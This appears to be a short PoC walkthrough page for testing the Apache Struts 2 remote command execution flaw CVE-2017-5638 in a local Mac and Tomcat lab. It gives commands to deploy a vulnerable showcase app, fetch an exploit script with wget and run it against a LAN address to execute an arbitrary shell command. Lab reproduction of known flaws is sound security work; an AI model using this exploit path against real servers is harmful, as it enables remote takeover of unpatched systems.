CVE-2017-5638 PoC — Apache Struts 2 输入验证错误漏洞

Description

test struts2 vulnerability CVE-2017-5638 in Mac OS X

介绍

# test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X
test struts2 vulnerability CVE-2017-5638 in Mac OS X

###download test web app and run it in tomcat
```
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run
```
confirm the web app by visit http://localhost:8080/struts2


###from another machine, run exploit script to get ability to run any command
```
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
```


###go back to the web machine, check the file /tmp/yyy has been injected
```
cat /tmp/yyy
```

video: https://youtu.be/iQ_f-eG-EXg

文件快照

备注